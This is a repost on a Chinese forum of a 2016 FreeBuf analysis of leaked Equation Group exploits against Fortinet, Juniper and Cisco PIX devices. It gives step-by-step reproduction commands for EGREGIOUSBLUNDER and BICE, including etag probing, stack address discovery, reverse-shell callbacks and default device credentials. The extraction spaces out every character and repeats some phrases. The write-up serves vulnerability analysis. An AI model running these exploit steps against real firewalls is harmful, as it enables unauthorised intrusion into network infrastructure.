搜索

[10494] 2016-09-12_NSA（美国国安局）泄漏Exploit分析

文档创建者：s7ckTeam
浏览次数：23
最后更新：2025-01-18
2016-09-12_NSA（美国国安局）泄漏Exploit分析 N S A （ 美 国 国 安 局 ） 泄 漏 E x p l o i t 分 析 t i g e r l a b   F r e e B u f   2 0 1 6 - 0 9 - 1 2 * 本 文 原 创 作 者 ： t i g e r l a b ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 2 0 1 6 年 8 月 1 6 日 ， 黑 客 团 伙 “ T h e   S h a d o w   B r o k e r s ” 声 称 自 己 入 侵 了 “ E q u a t i o n   G r o u p “ （ 方 程 式 组 织 ） ， 并 将 他 们 从 该 黑 客 组 织 的 计 算 机 系 统 中 所 获 取 到 的 部 分 黑 客 工 具 泄 漏 在 了 互 联 网 上 。 泰 格 实 验 室 第 一 时 间 对 此 次 泄 露 的 文 件 进 行 了 深 入 分 析 ， 多 数 漏 洞 的 验 证 分 析 情 况 已 有 同 行 分 享 ， 现 将 我 们 对 另 外 三 个 未 泰 格 实 验 室 第 一 时 间 对 此 次 泄 露 的 文 件 进 行 了 深 入 分 析 ， 多 数 漏 洞 的 验 证 分 析 情 况 已 有 同 行 分 享 ， 现 将 我 们 对 另 外 三 个 未 见 分 析 的 漏 洞 的 验 证 分 析 分 享 给 大 家 ， 其 中 包 括 见 分 析 的 漏 洞 的 验 证 分 析 分 享 给 大 家 ， 其 中 包 括 f o r t i n e t 、 、 j u n i p e r 、 、 C i s c o 三 种 设 备 漏 洞 。 三 种 设 备 漏 洞 。 1 、 、 f o r t i n e t 漏 洞 验 证 漏 洞 验 证 该 漏 洞 主 要 是 C o o k i e 解 析 器 存 在 缓 冲 区 溢 出 漏 洞 ， 远 程 攻 击 者 可 通 过 发 送 特 制 的 H T T P 请 求 利 用 该 漏 洞 执 行 任 意 代 码 。 C V E 编 号 ： C V E - 2 0 1 6 - 6 9 0 9 以 下 版 本 受 到 影 响 ： 以 下 版 本 受 到 影 响 ： F o r t i n e t   F o r t i O S   4 . 1 . 1 1 之 前 的 4 . x 版 本 ， 4 . 2 . 1 3 之 前 的 4 . 2 . x 版 本 ， 4 . 3 . 9 之 前 的 4 . 3 . x 版 本 ， F o r t i S w i t c h   3 . 4 . 3 之 前 的 版 本 。 漏 洞 验 证 过 程 如 下 ： 漏 洞 验 证 过 程 如 下 ： 获 取 目 标 e t a g   判 断 版 本 类 型 c u r l   - X   H E A D     – v       h t t p : / / x x x . x x x . x x x . x x x / E t a g : 4 8 0 d 7 7 2 a 如 果 e t a g 小 于 4 D X X X X X X ， 适 用 版 本   3 ； 如 果 e t a g   大 于   4 D X X X X X X , 判 断 是 否 需 要 c o o k i e n u m A P S C O O K I E = 0 & 0   ， 在 执 行 命 令 时 不 需 要 设 置 c o o k i e n u m c u r l   - X   H E A D     – v       h t t p : / / x x x . x x x . x x x . x x x / l o g i n
A P S C O O K I E _ 2 9 3 0 8 0 0 9 9 5 = 0 & 0   ， 在 执 行 命 令 时 需 要 设 置 c o o k i e n u m , 且 版 本 为 4 n c 测 试 e t a g 小 于 4 D X X X X X X ， 且 不 存 在 c o o k i e n u m 1 ） 获 取 溢 出 地 址 判 断 e t a g 是 否 在 存 在 于 配 置 文 件 E G B L . c o n f i g 中 , 例 : 如 不 存 在 可 通 过 以 下 命 令 获 取 堆 栈 地 址 ： . / e g r e g i o u s b l u n d e r _ 3 . 0 . 0 . 1   - t   x x x . x x x . x x x . x x x - p   8 0   - l   5 4 3 2   – s s l   0   - v   – c o n f i g   . / E G B L . c o n f i g   – w a m   1 0 该 命 令 只 适 用 于 e t a g 小 于 4 D X X X X X X ， 且 不 存 在 c o o k i e n u m ， 在 其 他 版 本 中 均 失 效 ， 无 法 获 取 堆 栈 地 址 。 命 令 执 行 如 下 ： 成 功 获 取 堆 栈 地 址   0 X b f f f f 2 7 4 2 ） 执 行 s h e l l c o d e ， 返 回 s h e l l 可 通 过 直 接 传 入 s t a c k 堆 栈 地 址 来 反 弹 s h e l l ， 也 可 将 e t a g 写 入 配 置 文 件 E T A G   =   4 8 0 d 7 7 2 a   :   0 x b f f f f 2 7 4 . / e g r e g i o u s b l u n d e r _ 3 . 0 . 0 . 1   - t   x x x . x x x . x x x . x x x   - p   8 0   - l   5 4 3 2   - - s s l   0   - v   - - s t a c k   0 x b f f f f 2 7 4     - - n o p e n   - - g e n   3
. / e g r e g i o u s b l u n d e r _ 3 . 0 . 0 . 1   - t   x x x . x x x . x x x . x x x   - p   8 0   - l   5 4 3 2   - - s s l   0   - v   – e t a g   4 8 0 d 7 7 2 a   - - n o p e n   - - g e n   3   - - c o n f i g   . / E G B L . c o n f i g
已 成 功 返 回 s h e l l ， 执 行 - l s 命 令 获 取 文 件 目 录 信 息 。 本 次 测 试 主 要 低 版 本 的 飞 塔 设 备 ， e t a g 小 于 4 D X X X X X X 。 由 于 未 深 入 该 漏 洞 e x p l o i t 溢 出 过 程 ， 所 以 针 对 其 他 版 本 无 法 通 过 命 令 获 取 s t a c k 的 ， 通 过 配 置 文 件 中 的 内 存 地 址 遍 历 进 行 了 测 试 ， 也 可 以 成 功 反 弹 s h e l l 。 2 、 、 j u n i p e r 漏 洞 验 证 漏 洞 验 证 该 漏 洞 需 要 先 获 得 j u n i p e r 设 备 口 令 ， 在 根 据 设 备 版 本 型 号 进 行 攻 击 ， 获 取 系 统 权 限 。 t e l n e t 登 陆 获 取 设 备 版 本 信 息 设 备 版 本 号 是 s s g 5 s s g 2 0 . 6 . 1 . 0 r 2 . 0 ， 查 看 D a t s 里 面 是 否 存 在 该 设 备 文 件 漏 洞 复 现 在 B A R G L E E 文 件 夹 中 B I C E - 3 1 1 0 是 j u n i p e r 漏 洞 利 用 程 序 . / B I C E - 3 1 1 0     - R   * . * . * . *           / / 目 标 i p - D   1 2 7 . 0 . 0 . 1       / / 接 收 反 弹 s h e l l   主 机 i p - d   5 5 5 5               / / 接 收 反 弹 s h e l l   主 机 端 口 - m   t e l n e t             / / 登 陆 模 式   s s h / t e l n e t
- t     . . / . . / / D a t s / s s g 5 s s g 2 0 . 6 . 1 . 0 r 2 . 0 . x m l     / / 攻 击 代 码 配 置 - u   n e t s c r e e n         / / 设 备 账 号 - p   n e t s c r e e n         / / 设 备 口 令 成 功 之 后 返 回 设 备 基 本 信 息 ， 可 选 择 2 种 s h e l l 权 限 ， j u n i p e r 交 互 s h e l l 及 B I   s h e l I n t e r a c t i v e r   C o n s o l e   实 际 就 是 j u i n p e r   t e l n e t 进 去 之 后 的 命 令 操 作 。   B I   s h e l l
可 见 可 以 执 行 的 选 项 共 有 6 项 ： 返 回 目 标 状 态 卸 载 B A R G L E E 安 装 B A R G L E E 读 内 存 写 内 存 命 令 执 行 根 据 s c r i p t 中 B A R I C E . t x t 安 装 说 明 ， 尝 试 进 行 b a r g l e e 植 入 多 次 尝 试 b i n 文 件 类 型 ， 均 未 能 成 功 植 入 ， 不 能 对 其 进 行 深 入 性 分 析 。
3 、 、 C i s c o   E P B A 漏 洞 验 证 漏 洞 验 证 该 漏 洞 与 j u n i p e r 一 样 需 要 先 获 取 设 备 口 令 ， 之 后 通 过 溢 出 攻 击 获 取 系 统 权 限 。 漏 洞 复 现 漏 洞 复 现
显 示 结 果 为 r e c e i v e d   m t u   –   E P B A :   o k ,   p a y l o a d :   o k ， 表 示 溢 出 成 功 。 与 此 同 时 ， P I X 7 2 2   防 火 墙 控 制 端 则 会 显 示 缓 冲 区 溢 出 接 下 来 我 们 根 据 操 作 提 示 执 行 b r i d e - 1 1 2 0 这 个 脚 本 ,   在 执 行 “ 1 ” 选 项 后 可 以 判 断 是 否 正 常 连 接 ， 连 接 成 功 则 返 回 S e s s i o n   D - H   K e y  
执 行 “ 8 ” 之 后 可 以 查 看 B R I C E 的 自 带 s h e l l 功 能 。 多 次 尝 试 写 入 B a t i g e r l a b n a n a G l e e 提 示 版 本 不 对 无 法 写 入 。
分 析 发 现 其 读 取 目 标 文 件 前 4 个 字 节 来 得 到 版 本 号 ， 通 过 对 文 件 夹 内 所 有 文 件 进 行 了 搜 索 也 未 找 到 合 适 的 植 入 程 序 。 总 结 总 结 本 文 主 要 分 享 的 是 f o r i n e t 、 j u n i p e r 、 c i s c o 三 个 漏 洞 利 用 文 件 的 验 证 思 路 及 过 程 。 在 分 析 过 程 中 我 们 进 行 了 大 量 测 试 实 验 ， 想 尽 可 能 还 原 其 整 个 攻 击 流 程 ， 但 由 于 部 分 关 键 文 件 缺 失 ， 未 能 继 续 对 其 进 行 完 整 分 析 。 如 果 有 小 伙 伴 有 更 好 的 分 析 思 路 ， 可 与 我 们 交 流 。 * 本 文 原 创 作 者 ： t i g e r l a b ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理